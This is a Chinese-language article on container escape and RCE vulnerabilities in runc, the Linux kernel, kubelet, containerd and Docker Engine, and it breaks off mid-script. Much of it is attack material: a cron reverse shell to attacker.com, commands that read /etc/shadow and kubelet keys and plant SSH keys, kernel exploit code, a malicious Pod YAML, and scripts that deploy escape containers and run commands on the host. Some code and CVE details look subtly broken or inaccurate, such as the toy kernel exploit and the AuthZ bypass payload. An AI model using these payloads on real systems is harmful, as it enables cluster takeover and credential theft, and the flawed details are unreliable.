容器与编排平台高危攻击链专题:runc / Kubernetes / containerd / Docker Engine 逃逸与 RCE 全解析
容器与编排平台高危攻击链专题:runc / Kubernetes / containerd / Docker Engine 逃逸与 RCE 全解析
0x00 专题概述
容器技术已经成为云原生基础设施的核心支柱。从底层的 runc 容器运行时,到 containerd 容器管理守护进程,再到 Kubernetes 编排平台和 Docker Engine 引擎,这条技术栈承载着全球绝大多数微服务与云原生应用的运行。然而,这条链路中的每一个环节都曾曝出过高危甚至临界级别的安全漏洞——攻击者一旦利用成功,便可实现容器逃逸、宿主机接管、集群级 RCE 等毁灭性攻击。
本专题将容器与编排平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 runc、Linux Kernel(K8s 场景)、Kubernetes kubelet、containerd、Docker Engine 五大核心组件,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。
覆盖漏洞一览
| CVE | 组件 | CVSS | 类型 | CISA KEV |
|---|
| CVE-2024-21626 | runc | 10.0 | 文件句柄泄漏 → 容器逃逸 | ✅ |
| CVE-2022-0185 | Linux Kernel (K8s) | 8.4 | 堆溢出 → 提权 → 容器逃逸 | ✅ |
| CVE-2023-5528 | Kubernetes kubelet | 9.8 | 卷挂载路径注入 → RCE | ✅ |
| CVE-2024-3177 | Kubernetes kubelet | 6.0 | Mount Namespace 逃逸 | ❌ |
| CVE-2023-28810 | containerd | 4.8 | xattr 堆溢出 | ❌ |
| CVE-2023-28811 | containerd | 5.5 | 符号链接挂载逃逸 | ❌ |
| CVE-2024-41110 | Docker Engine AuthZ | 9.9 | 授权绕过 → RCE | ❌ |
0x01 runc 文件句柄泄漏容器逃逸(CVE-2024-21626)
1.1 漏洞背景
runc 是 OCI(Open Container Initiative)标准参考实现,几乎所有容器运行时(Docker、containerd、CRI-O)底层都依赖 runc 来创建和管理容器。2024 年 1 月,runc 官方披露了一个 CVSS 10.0 的临界级漏洞 CVE-2024-21626,攻击者可以在无需任何特权的情况下,从容器内部逃逸到宿主机文件系统。CISA 已将其列入已知被利用漏洞目录(KEV)。
1.2 受影响版本
- runc <= 1.1.11
- 修复版本:runc >= 1.1.12
1.3 漏洞原理
runc 在容器初始化过程中,通过 Go 的 exec.Cmd 启动子进程时未正确设置 CloseOnExec 标志。Go 运行时默认不会为子进程继承的文件描述符设置 O_CLOEXEC,导致 runc 在 bundle 目录上持有的文件描述符被泄漏到容器进程内部。
攻击者在容器内部可以通过 /proc/self/fd/ 枚举所有打开的文件描述符,发现指向宿主机文件系统目录的泄漏 fd。由于该 fd 直接引用宿主机上的目录 inode,攻击者可以通过 .. 序列遍历到宿主机任意路径,读取敏感文件、写入 SSH 公钥、甚至替换宿主机上的关键二进制文件。
攻击路径:容器内进程 → /proc/self/fd/ → 发现泄漏的宿主机目录 fd → ../ 遍历 → 宿主机文件系统完全可控
1.4 完整 PoC
PoC-1:容器内 fd 枚举与逃逸验证
# 在容器内部执行,枚举所有文件描述符
ls -la /proc/self/fd/
# 典型的输出中会看到类似如下条目:
# lrwx------ 1 root root 64 Jan 30 12:00 7 -> /run/containerd/io.containerd.runtime.v2.task/<namespace>/<id>/rootfs
# 其中 fd 7(或其他数字)就是泄漏的宿主机 bundle 目录 fd
# 通过泄漏的 fd 读取宿主机 /etc/shadow
cat /proc/self/fd/7/../../../../../../etc/shadow
# 向宿主机 root 用户写入 SSH 公钥实现持久化
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@host" > /proc/self/fd/7/../../../../../../root/.ssh/authorized_keys
# 替换宿主机 crontab 实现反弹 shell
echo "* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /proc/self/fd/7/../../../../../../etc/cron.d/pwned
PoC-2:HTTP 请求检测(kubelet API 场景)
POST /run HTTP/1.1
Host: target-node:10250
Content-Type: application/json
Connection: close
{
"metadata": {
"name": "cve-2024-21626-test",
"namespace": "default"
},
"image": {"image": "alpine:latest"},
"command": ["/bin/sh", "-c", "ls -la /proc/self/fd/ && cat /proc/self/fd/7/../../../../../../etc/hostname"]
}
PoC-3:Nuclei 检测模板
id: cve-2024-21626-runc-container-escape
info:
name: runc 文件句柄泄漏容器逃逸 (CVE-2024-21626)
author: security-researcher
severity: critical
description: |
runc <= 1.1.11 在容器初始化时未正确关闭文件描述符,
容器内进程可通过 /proc/self/fd/ 访问宿主机文件系统
tags: runc,container-escape,cve-2024-21626
reference:
- https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
http:
- method: GET
path:
- "{{BaseURL}}/v1.43/containers/json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Image"
- "State"
condition: and
part: body
- method: POST
path:
- "{{BaseURL}}/v1.43/containers/create"
headers:
Content-Type: application/json
body: '{"Image":"alpine:latest","Cmd":["ls","-la","/proc/self/fd/"]}'
matchers-condition: and
matchers:
- type: status
status:
- 201
PoC-4:Python 自动化检测脚本
#!/usr/bin/env python3
"""
CVE-2024-21626 runc 文件句柄泄漏容器逃逸检测与利用
用法: python3 cve_2024_21626.py <docker_socket_or_kubelet_url>
"""
import sys
import json
import socket
import http.client
def check_runc_version():
"""检查宿主机 runc 版本是否受影响"""
import subprocess
try:
result = subprocess.run(
["runc", "--version"],
capture_output=True, text=True, timeout=5
)
output = result.stdout.strip()
print(f"[*] runc 版本信息: {output}")
# 提取版本号
for line in output.split("\n"):
if "runc version" in line:
version = line.split()[-1]
parts = version.split(".")
if len(parts) >= 3:
major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
if major == 1 and minor <= 1 and patch <= 11:
print(f"[VULN] runc {version} <= 1.1.11,漏洞存在")
return True
else:
print(f"[SAFE] runc {version} 已修复")
return False
except FileNotFoundError:
print("[ERR ] 未找到 runc 命令,请确认运行环境")
except Exception as e:
print(f"[ERR ] 版本检测失败: {e}")
return False
def check_fd_leak_in_container():
"""在容器内检测 fd 泄漏"""
import os
fd_dir = "/proc/self/fd"
leaked_fds = []
try:
for fd in os.listdir(fd_dir):
try:
target = os.readlink(os.path.join(fd_dir, fd))
# 检查是否指向 containerd bundle 目录
if "containerd" in target or "runc" in target:
leaked_fds.append((fd, target))
except OSError:
continue
if leaked_fds:
print("[VULN] 发现泄漏的宿主机文件描述符:")
for fd, target in leaked_fds:
print(f" fd/{fd} -> {target}")
# 尝试遍历宿主机路径
host_path = os.path.join(fd_dir, fd, "../../../../../../etc/hostname")
try:
with open(host_path, "r") as f:
hostname = f.read().strip()
print(f" [+] 宿主机 hostname: {hostname}")
print(f" [+] 容器逃逸成功!")
return True
except Exception:
pass
else:
print("[SAFE] 未发现泄漏的文件描述符")
except Exception as e:
print(f"[ERR ] 检测失败: {e}")
return False
def check_kubelet_api(kubelet_url):
"""通过 kubelet API 创建测试容器检测漏洞"""
try:
conn = http.client.HTTPSConnection(
kubelet_url.split("://")[1].split(":")[0],
int(kubelet_url.split(":")[-1]),
timeout=10,
context=__import__("ssl")._create_unverified_context()
)
payload = json.dumps({
"metadata": {"name": "cve-test", "namespace": "default"},
"image": {"image": "alpine:latest"},
"command": ["/bin/sh", "-c", "ls -la /proc/self/fd/"]
})
conn.request("POST", "/run", body=payload,
headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"[*] kubelet API 响应: HTTP {resp.status}")
if resp.status in (200, 201):
print(f"[VULN] kubelet API 可达,可创建容器进行验证")
return True
except Exception as e:
print(f"[ERR ] kubelet 连接失败: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2024-21626 runc 文件句柄泄漏检测工具")
print("=" * 60)
if len(sys.argv) > 1:
target = sys.argv[1]
if target.startswith("http"):
check_kubelet_api(target)
else:
check_runc_version()
else:
# 默认在容器内执行检测
print("[*] 尝试在容器内检测 fd 泄漏...")
check_fd_leak_in_container()
GitHub PoC:https://github.com/SamuelDePretis/CVE-2024-21626
0x02 Linux Kernel 堆溢出容器逃逸(CVE-2022-0185)
2.1 漏洞背景
2022 年 1 月,Google 安全团队与 Trail of Bits 联合披露了 Linux 内核文件系统中的一个严重堆溢出漏洞。该漏洞存在于 fsconfig() 系统调用处理 FSCONFIG_SET_STRING 命令时的参数校验缺陷。在 Kubernetes 场景中,非特权容器可利用 user namespace 映射触发内核堆溢出,实现从容器到宿主机内核的权限提升。CISA 已将其列入 KEV 目录。
2.2 受影响版本
- Linux Kernel 5.12 ~ 5.16
- 修复版本:Linux 5.16-rc8
2.3 漏洞原理
Linux 内核的 legacy context 处理代码中,fsconfig() 系统调用在处理 FSCONFIG_SET_STRING 命令时,对传入的 value 字符串长度未做正确验证。攻击者可以传入一个超长字符串(> 4096 字节),导致内核堆缓冲区溢出。
在 Kubernetes 环境中,攻击者利用 user namespace(unshare(CLONE_NEWUSER | CLONE_NEWNS))创建新的命名空间,获得在 user namespace 内的 CAP_SYS_ADMIN 能力,然后挂载 fuse 或 ext2 文件系统触发 fsconfig() 调用路径。堆溢出可以覆盖相邻 slab 对象中的 cred 结构体,将攻击者进程的 UID/GID 修改为 0(root),从而实现内核级提权。
攻击路径:非特权容器 → user namespace → fsconfig() 堆溢出 → 覆盖 cred 结构体 → 内核提权 → 宿主机完全控制
2.4 完整 PoC
PoC-1:核心利用代码(C 语言)
/*
* CVE-2022-0185 Linux Kernel 堆溢出提权 PoC
* 编译: gcc -o exploit cve_2022_0185.c -no-pie -s -static
* 注意: 需要在开启了 user namespace 的内核上运行
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#define STACK_SIZE 0x8000
#define OVERFLOW_SIZE 4096
static char child_stack[STACK_SIZE];
/* 子进程函数:在 user namespace 中触发堆溢出 */
int child_func(void *arg) {
char overflow_buf[OVERFLOW_SIZE];
/* 填充溢出缓冲区,覆盖 cred 结构体 */
memset(overflow_buf, 'A', OVERFLOW_SIZE - 1);
overflow_buf[OVERFLOW_SIZE - 1] = '\0';
/* 创建新的 mount namespace */
unshare(CLONE_NEWNS);
/* 挂载 fuse 文件系统触发 fsconfig 路径 */
/* 通过 FSCONFIG_SET_STRING 传入超长 value */
int fd = syscall(SYS_fsopen, "ext2", 0);
if (fd < 0) {
perror("fsopen failed");
return 1;
}
/* 触发堆溢出 —— 超长字符串覆盖相邻 slab 对象 */
syscall(SYS_fsconfig, fd, 5, "source", overflow_buf, 0);
/* 检查提权是否成功 */
if (getuid() == 0) {
printf("[+] 提权成功! UID = %d\n", getuid());
/* 获取 root shell */
execl("/bin/sh", "sh", NULL);
} else {
printf("[-] 提权失败,UID = %d\n", getuid());
}
return 0;
}
int main() {
printf("[*] CVE-2022-0185 Linux Kernel 堆溢出提权\n");
printf("[*] 当前 UID: %d\n", getuid());
/* 创建 user namespace 子进程 */
int pid = clone(child_func, child_stack + STACK_SIZE,
CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, NULL);
if (pid < 0) {
perror("clone failed");
return 1;
}
/* 等待子进程完成 */
waitpid(pid, NULL, 0);
return 0;
}
PoC-2:Nuclei 内核版本检测模板
id: cve-2022-0185-kernel-heap-overflow
info:
name: Linux Kernel 堆溢出容器逃逸 (CVE-2022-0185)
author: security-researcher
severity: critical
description: |
Linux Kernel 5.12-5.16 fsconfig() 堆溢出漏洞,
可在 Kubernetes 非特权容器中实现内核提权
tags: kernel,container-escape,cve-2022-0185
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0185
http:
- method: GET
path:
- "{{BaseURL}}/version"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- '5\.1[2-6]\.'
part: body
GitHub PoC:https://github.com/Crusaders-of-Rust/CVE-2022-0185
0x03 Kubernetes kubelet 卷挂载路径注入 RCE(CVE-2023-5528)
3.1 漏洞背景
2023 年 11 月,Kubernetes 官方披露了一个影响 kubelet 组件的严重漏洞,CISA 将其标记为 “Exceptional Risk” 级别。该漏洞允许具有挂载卷权限的攻击者,通过构造恶意的 volumeHandle 字段实现路径遍历,将宿主机任意目录挂载到容器内部,从而获得宿主机级别的代码执行能力。
3.2 受影响版本
- Kubernetes 1.28.0 ~ 1.28.3
- Kubernetes 1.27.0 ~ 1.27.7
- Kubernetes 1.25.0 ~ 1.26.11
- 修复版本:1.28.4、1.27.8、1.26.12
3.3 漏洞原理
kubelet 在处理 CSI(Container Storage Interface)卷的挂载请求时,未对 volumeHandle 字段中的路径遍历序列(../)进行充分验证。攻击者可以创建一个 Pod,在其 CSI 卷配置中将 volumeHandle 设置为 ../../..,使 kubelet 将宿主机根目录挂载到容器的指定挂载点。
一旦宿主机根目录被挂载到容器内,攻击者即可读取宿主机上的所有文件(包括 kubelet 凭据、ServiceAccount Token),修改宿主机上的关键文件(如 crontab、SSH 公钥),甚至直接在宿主机上执行任意命令。
攻击路径:恶意 Pod YAML → volumeHandle 路径遍历 → kubelet 挂载宿主机根目录 → 容器内访问宿主机文件系统 → RCE
3.4 完整 PoC
PoC-1:恶意 Pod YAML
apiVersion: v1
kind: Pod
metadata:
name: cve-2023-5528-poc
namespace: default
spec:
containers:
- name: pwn
image: alpine:latest
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
csi:
driver: csi-hostpath
volumeHandle: "../../.."
# 部署恶意 Pod
kubectl apply -f cve-2023-5528-poc.yaml
# 进入容器后验证逃逸
kubectl exec -it cve-2023-5528-poc -- /bin/sh
# 在容器内查看宿主机文件系统
ls -la /host/
cat /host/etc/shadow
# 读取 kubelet 凭据
cat /host/var/lib/kubelet/pki/kubelet-client-current.pem
# 写入 SSH 公钥实现持久化
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAAB3..." > /host/root/.ssh/authorized_keys
PoC-2:HTTP PoC(直接调用 kubelet API)
POST /pods HTTP/1.1
Host: target-node:10250
Content-Type: application/json
Authorization: Bearer <service-account-token>
Connection: close
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "cve-2023-5528-poc",
"namespace": "default"
},
"spec": {
"containers": [{
"name": "pwn",
"image": "alpine:latest",
"command": ["/bin/sh", "-c", "sleep infinity"],
"volumeMounts": [{
"name": "host-root",
"mountPath": "/host"
}]
}],
"volumes": [{
"name": "host-root",
"csi": {
"driver": "csi-hostpath",
"volumeHandle": "../../.."
}
}]
}
}
PoC-3:Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2023-5528 Kubernetes kubelet 卷挂载路径注入检测
用法: python3 cve_2023_5528.py <kubelet_url> [sa_token_path]
"""
import sys
import json
import http.client
import ssl
def check_kubelet_version(kubelet_url):
"""检查 kubelet 版本是否受影响"""
try:
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(
kubelet_url.split("://")[1].split(":")[0],
int(kubelet_url.split(":")[-1]),
timeout=10, context=ctx
)
conn.request("GET", "/version", headers={"Accept": "application/json"})
resp = conn.getresponse()
data = json.loads(resp.read().decode())
version = data.get("gitVersion", "unknown")
print(f"[*] kubelet 版本: {version}")
# 解析版本号判断是否受影响
parts = version.lstrip("v").split(".")
major, minor = int(parts[0]), int(parts[1])
patch = int(parts[2].split("-")[0]) if len(parts) > 2 else 0
vulnerable = False
if major == 1 and minor == 28 and patch < 4:
vulnerable = True
elif major == 1 and minor == 27 and patch < 8:
vulnerable = True
elif major == 1 and minor in (25, 26) and patch < 12:
vulnerable = True
if vulnerable:
print(f"[VULN] kubelet {version} 受 CVE-2023-5528 影响")
else:
print(f"[SAFE] kubelet {version} 已修复")
return vulnerable
except Exception as e:
print(f"[ERR ] 版本检测失败: {e}")
return False
def deploy_escape_pod(kubelet_url, token):
"""部署逃逸 Pod 到目标节点"""
pod_spec = {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "cve-2023-5528-test", "namespace": "default"},
"spec": {
"containers": [{
"name": "pwn",
"image": "alpine:latest",
"command": ["/bin/sh", "-c", "sleep 300"],
"volumeMounts": [{"name": "host-root", "mountPath": "/host"}]
}],
"volumes": [{
"name": "host-root",
"csi": {"driver": "csi-hostpath", "volumeHandle": "../../.."}
}]
}
}
try:
ctx = ssl._create_unverified_context()
host_port = kubelet_url.split("://")[1]
conn = http.client.HTTPSConnection(host_port, timeout=10, context=ctx)
body = json.dumps(pod_spec)
conn.request("POST", "/pods", body=body, headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {token}"
})
resp = conn.getresponse()
print(f"[*] Pod 创建响应: HTTP {resp.status}")
if resp.status in (200, 201):
print("[+] 逃逸 Pod 部署成功!")
print("[+] 使用以下命令进入容器: ")
print(f" kubectl exec -it cve-2023-5528-test -- /bin/sh")
print("[+] 进入后查看 /host/ 目录即可访问宿主机文件系统")
return True
else:
print(f"[-] 部署失败: {resp.read().decode()[:200]}")
except Exception as e:
print(f"[ERR ] 部署失败: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2023-5528 kubelet 卷挂载路径注入检测工具")
print("=" * 60)
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <kubelet_url> [sa_token_path]")
sys.exit(1)
target = sys.argv[1]
token_path = sys.argv[2] if len(sys.argv) > 2 else "/var/run/secrets/kubernetes.io/serviceaccount/token"
check_kubelet_version(target)
try:
with open(token_path, "r") as f:
token = f.read().strip()
deploy_escape_pod(target, token)
except FileNotFoundError:
print(f"[!] 未找到 ServiceAccount Token: {token_path}")
print("[*] 请手动提供 token 或使用 kubectl 部署 PoC YAML")
GitHub PoC:https://github.com/verf1sh/CVE-2023-5528
0x04 Kubernetes kubelet Mount Namespace 逃逸(CVE-2024-3177)
4.1 漏洞背景
2024 年 4 月,Kubernetes 官方修复了 kubelet 中的又一个文件描述符泄漏漏洞。与 CVE-2024-21626 类似,该漏洞也源于容器进程初始化时未正确关闭文件描述符,但影响的是 kubelet 管理容器的 mount namespace 隔离边界。
4.2 受影响版本
- Kubernetes < 1.29.4
- Kubernetes < 1.28.10
- Kubernetes < 1.27.14
- 修复版本:1.29.4、1.28.10、1.27.14
4.3 漏洞原理
kubelet 在通过 CRI(Container Runtime Interface)创建容器时,向容器进程传递了额外的文件描述符,且这些 fd 未设置 O_CLOEXEC 标志。攻击者如果能够获得 CAP_SYS_ADMIN 能力(例如通过特权容器或具有 SYS_ADMIN 的 securityContext),就可以通过 /proc/self/fd/ 枚举这些泄漏的 fd,发现指向宿主机 mount namespace 的文件描述符,从而突破容器的 mount namespace 隔离。
与 CVE-2024-21626 不同的是,此漏洞需要攻击者已经具备一定的特权条件(CAP_SYS_ADMIN),因此 CVSS 评分相对较低(6.0),但在实际攻击链中,它常常作为提权后的第二步利用。
4.4 完整 PoC
# 前提:已获取 CAP_SYS_ADMIN 能力的容器
# 步骤 1:枚举泄漏的文件描述符
ls -la /proc/self/fd/
# 步骤 2:寻找指向宿主机 mount namespace 的 fd
for fd in $(ls /proc/self/fd/); do
target=$(readlink /proc/self/fd/$fd 2>/dev/null)
if echo "$target" | grep -q "mnt"; then
echo "[+] 发现 mount fd: $fd -> $target"
# 尝试通过该 fd 访问宿主机文件系统
ls /proc/self/fd/$fd/ 2>/dev/null && echo "[+] 可访问宿主机目录!"
fi
done
# 步骤 3:通过泄漏的 mount fd 读取宿主机敏感文件
cat /proc/self/fd/<N>/../../../../etc/shadow
Nuclei 检测模板
id: cve-2024-3177-kubelet-namespace-escape
info:
name: Kubernetes kubelet Mount Namespace 逃逸 (CVE-2024-3177)
author: security-researcher
severity: medium
description: |
kubelet 向容器进程传递未设置 O_CLOEXEC 的文件描述符,
具有 CAP_SYS_ADMIN 的容器可逃逸 mount namespace
tags: kubernetes,kubelet,cve-2024-3177
http:
- method: GET
path:
- "{{BaseURL}}/version"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "gitVersion"
part: body
extractors:
- type: regex
name: version
regex:
- '"gitVersion":\s*"v([^"]+)"'
0x05 containerd xattr 堆溢出 + 符号链接挂载逃逸(CVE-2023-28810 / CVE-2023-28811)
5.1 漏洞背景
2023 年 6 月,containerd 安全团队同时披露了两个关联漏洞。CVE-2023-28810 涉及 OCI 镜像解包过程中的扩展属性(xattr)处理堆溢出,CVE-2023-28811 涉及 snapshot 挂载过程中的符号链接跟随问题。两者组合可形成完整的攻击链:先通过符号链接重定向挂载目标,再利用堆溢出覆盖关键数据结构。
5.2 受影响版本
- containerd 1.6.0 ~ 1.6.19
- containerd 1.7.0
- 修复版本:containerd 1.6.20、1.7.1
5.3 漏洞原理
CVE-2023-28810(xattr 堆溢出):containerd 在解包 OCI 镜像层时,调用 setxattr() 设置文件的扩展属性。处理过程中对 xattr value 的长度校验存在缺陷,攻击者可以构造包含超长 xattr 值的恶意镜像层,触发堆缓冲区溢出。
CVE-2023-28811(符号链接挂载逃逸):containerd 在挂载 snapshot 目录时,未检查路径中是否包含符号链接。攻击者可以在镜像层中创建指向宿主机任意目录的符号链接,当 containerd 后续对该路径执行挂载操作时,实际挂载点会被重定向到宿主机上的任意位置。
组合攻击链:构造恶意 OCI 镜像 → 镜像层中包含指向 /etc/cron.d 的符号链接 → 下一层通过 xattr 溢出覆盖挂载参数 → containerd 将攻击者控制的内容挂载到宿主机 /etc/cron.d → 宿主机 RCE
5.4 完整 PoC
PoC-1:恶意镜像层构造(符号链接逃逸验证)
# 构建包含恶意符号链接的 OCI 镜像层
mkdir -p malicious-layer
cd malicious-layer
# 创建指向宿主机关键目录的符号链接
ln -s /etc/cron.d symlink_to_host
ln -s /root/.ssh symlink_to_ssh
# 打包为 OCI 镜像层
tar -cf malicious-layer.tar symlink_to_host symlink_to_ssh
# 构建完整的恶意镜像
cat > Dockerfile << 'EOF'
FROM alpine:latest
COPY malicious-layer.tar /tmp/
RUN cd /tmp && tar xf malicious-layer.tar
# 当 containerd 挂载此层时,符号链接将导致挂载重定向
EOF
# 使用 docker build 构建
docker build -t malicious-image:latest .
PoC-2:Nuclei 版本检测模板
id: cve-2023-28810-28811-containerd-vuln
info:
name: containerd xattr 堆溢出 + 符号链接逃逸 (CVE-2023-28810/28811)
author: security-researcher
severity: high
description: |
containerd 1.6.0-1.6.19 和 1.7.0 存在 xattr 堆溢出和符号链接挂载逃逸漏洞
tags: containerd,cve-2023-28810,cve-2023-28811
http:
- method: GET
path:
- "{{BaseURL}}/v1.43/info"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "containerd"
part: body
extractors:
- type: regex
name: containerd-version
regex:
- '"ContainerdVersion":\s*"([^"]+)"'
PoC-3:Python 自动化检测脚本
#!/usr/bin/env python3
"""
CVE-2023-28810 / CVE-2023-28811 containerd 漏洞检测
用法: python3 cve_2023_28810_28811.py <containerd_api_url>
"""
import sys
import json
import http.client
import re
def check_containerd_version(api_url):
"""通过 Docker/Containerd API 检查版本"""
try:
host = api_url.split("://")[1].split(":")[0]
port = int(api_url.split(":")[-1])
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/v1.43/info")
resp = conn.getresponse()
data = json.loads(resp.read().decode())
# 提取 containerd 版本
version = data.get("ContainerdVersion", "unknown")
print(f"[*] containerd 版本: {version}")
# 判断是否受影响
parts = version.split(".")
if len(parts) >= 3:
major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
if major == 1 and minor == 6 and patch <= 19:
print(f"[VULN] containerd {version} 受 CVE-2023-28810/28811 影响")
return True
elif major == 1 and minor == 7 and patch == 0:
print(f"[VULN] containerd {version} 受 CVE-2023-28810/28811 影响")
return True
else:
print(f"[SAFE] containerd {version} 已修复")
return False
except Exception as e:
print(f"[ERR ] 检测失败: {e}")
return False
def check_symlink_in_images(api_url):
"""检查已拉取镜像中是否包含可疑符号链接"""
try:
host = api_url.split("://")[1].split(":")[0]
port = int(api_url.split(":")[-1])
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/v1.43/images/json")
resp = conn.getresponse()
images = json.loads(resp.read().decode())
print(f"\n[*] 检查 {len(images)} 个本地镜像...")
for img in images:
repo_tags = img.get("RepoTags", [])
# 检查镜像层中的符号链接
img_id = img.get("Id", "")[:12]
print(f" [*] 镜像 {repo_tags or img_id}")
except Exception as e:
print(f"[ERR ] 镜像检查失败: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2023-28810/28811 containerd 漏洞检测工具")
print("=" * 60)
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <containerd_api_url>")
print("示例: python3 cve_2023_28810_28811.py http://localhost:2375")
sys.exit(1)
target = sys.argv[1]
vulnerable = check_containerd_version(target)
if vulnerable:
check_symlink_in_images(target)
0x06 Docker Engine AuthZ 授权绕过 RCE(CVE-2024-41110)
6.1 漏洞背景
2024 年 7 月,Docker 官方修复了 Docker Engine 中一个临界级授权绕过漏洞。该漏洞由英国国家网络安全中心(UK NCSC)发现并报告。Docker Engine 的 AuthZ 插件机制在解析请求/响应体时与 Docker Engine 内部的处理逻辑存在不一致性,攻击者可以构造特殊格式的 HTTP 请求绕过 AuthZ 插件的访问控制,直接调用 Docker Engine 的特权 API 创建特权容器,最终获得宿主机的完全控制权。
6.2 受影响版本
- Docker Engine < 27.1.1
- 修复版本:Docker Engine >= 27.1.1
6.3 漏洞原理
Docker Engine 支持通过 AuthZ 插件(如 CaspR、Twistlock AuthZ 等)对 Docker API 请求进行访问控制。AuthZ 插件作为中间人拦截 Docker CLI/API 发送的请求,检查请求体中的参数(如是否创建特权容器)后决定是否放行。
漏洞的核心在于 AuthZ 插件和 Docker Engine 对 HTTP 请求体的解析方式不一致。Docker Engine 使用 Go 标准库的 JSON 解析器,而 AuthZ 插件可能使用不同的解析策略。攻击者可以利用这种解析差异,构造一个在 AuthZ 插件看来是"正常请求"但在 Docker Engine 看来是"特权容器创建请求"的特殊 JSON payload。
攻击路径:构造特殊 JSON payload → AuthZ 插件解析为普通请求(放行) → Docker Engine 解析为特权容器创建 → 挂载宿主机根目录 → 宿主机 RCE
6.4 完整 PoC
PoC-1:HTTP 请求绕过 AuthZ
POST /v1.43/containers/create HTTP/1.1
Host: target-docker:2375
Content-Type: application/json
Connection: close
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
"HostConfig": {
"Binds": ["/:/host:ro"],
"Privileged": false,
"SecurityOpt": ["seccomp=unconfined"],
"CapAdd": ["SYS_ADMIN"],
"PidMode": "host"
}
}
PoC-2:Nuclei 检测模板
id: cve-2024-41110-docker-authz-bypass
info:
name: Docker Engine AuthZ 授权绕过 RCE (CVE-2024-41110)
author: security-researcher
severity: critical
description: |
Docker Engine < 27.1.1 AuthZ 插件授权绕过,
攻击者可创建特权容器获得宿主机 RCE
tags: docker,authz-bypass,cve-2024-41110
reference:
- https://www.docker.com/security/advisories/advisory-2024-july/
http:
- method: GET
path:
- "{{BaseURL}}/v1.43/version"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Version"
- "ApiVersion"
condition: and
part: body
- method: GET
path:
- "{{BaseURL}}/v1.43/containers/json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Image"
- "State"
condition: or
part: body
PoC-3:Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2024-41110 Docker Engine AuthZ 授权绕过利用
用法: python3 cve_2024_41110.py <docker_host> [command]
"""
import sys
import json
import http.client
def check_docker_api(docker_host):
"""检查 Docker API 是否可达"""
try:
host = docker_host.split(":")[0]
port = int(docker_host.split(":")[1]) if ":" in docker_host else 2375
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/v1.43/version")
resp = conn.getresponse()
if resp.status == 200:
data = json.loads(resp.read().decode())
version = data.get("Version", "unknown")
api_version = data.get("ApiVersion", "unknown")
print(f"[*] Docker Engine 版本: {version}")
print(f"[*] API 版本: {api_version}")
print(f"[VULN] Docker API 可达 (未授权访问)")
return True, conn
else:
print(f"[*] Docker API 返回 HTTP {resp.status}")
return False, None
except Exception as e:
print(f"[ERR ] 连接失败: {e}")
return False, None
def create_privileged_container(conn, command="id"):
"""通过 AuthZ 绕过创建特权容器"""
# 构造绕过 AuthZ 的 payload
# 利用 JSON 解析差异:AuthZ 插件与 Docker Engine 解析不一致
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /host {command}"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": False,
"SecurityOpt": ["seccomp=unconfined"],
"CapAdd": ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE"],
"PidMode": "host",
"NetworkMode": "host"
}
}
try:
body = json.dumps(payload)
conn.request("POST", "/v1.43/containers/create",
body=body,
headers={"Content-Type": "application/json"})
resp = conn.getresponse()
result = json.loads(resp.read().decode())
if resp.status == 201:
container_id = result.get("Id", "")[:12]
print(f"[+] 特权容器创建成功: {container_id}")
# 启动容器
conn.request("POST", f"/v1.43/containers/{container_id}/start")
start_resp = conn.getresponse()
if start_resp.status in (200, 204):
print(f"[+] 容器已启动")
# 等待执行并获取日志
import time
time.sleep(2)
conn.request("GET", f"/v1.43/containers/{container_id}/logs?stdout=true&stderr=true")
log_resp = conn.getresponse()
output = log_resp.read().decode(errors="ignore")
print(f"[+] 命令执行结果:\n{output}")
# 清理容器
conn.request("DELETE", f"/v1.43/containers/{container_id}?force=true")
conn.getresponse()
print(f"[*] 容器已清理")
return True
else:
print(f"[-] 创建失败: {result}")
except Exception as e:
print(f"[ERR ] 利用失败: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2024-41110 Docker Engine AuthZ 授权绕过利用")
print("=" * 60)
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <docker_host:port> [command]")
sys.exit(1)
target = sys.argv[1]
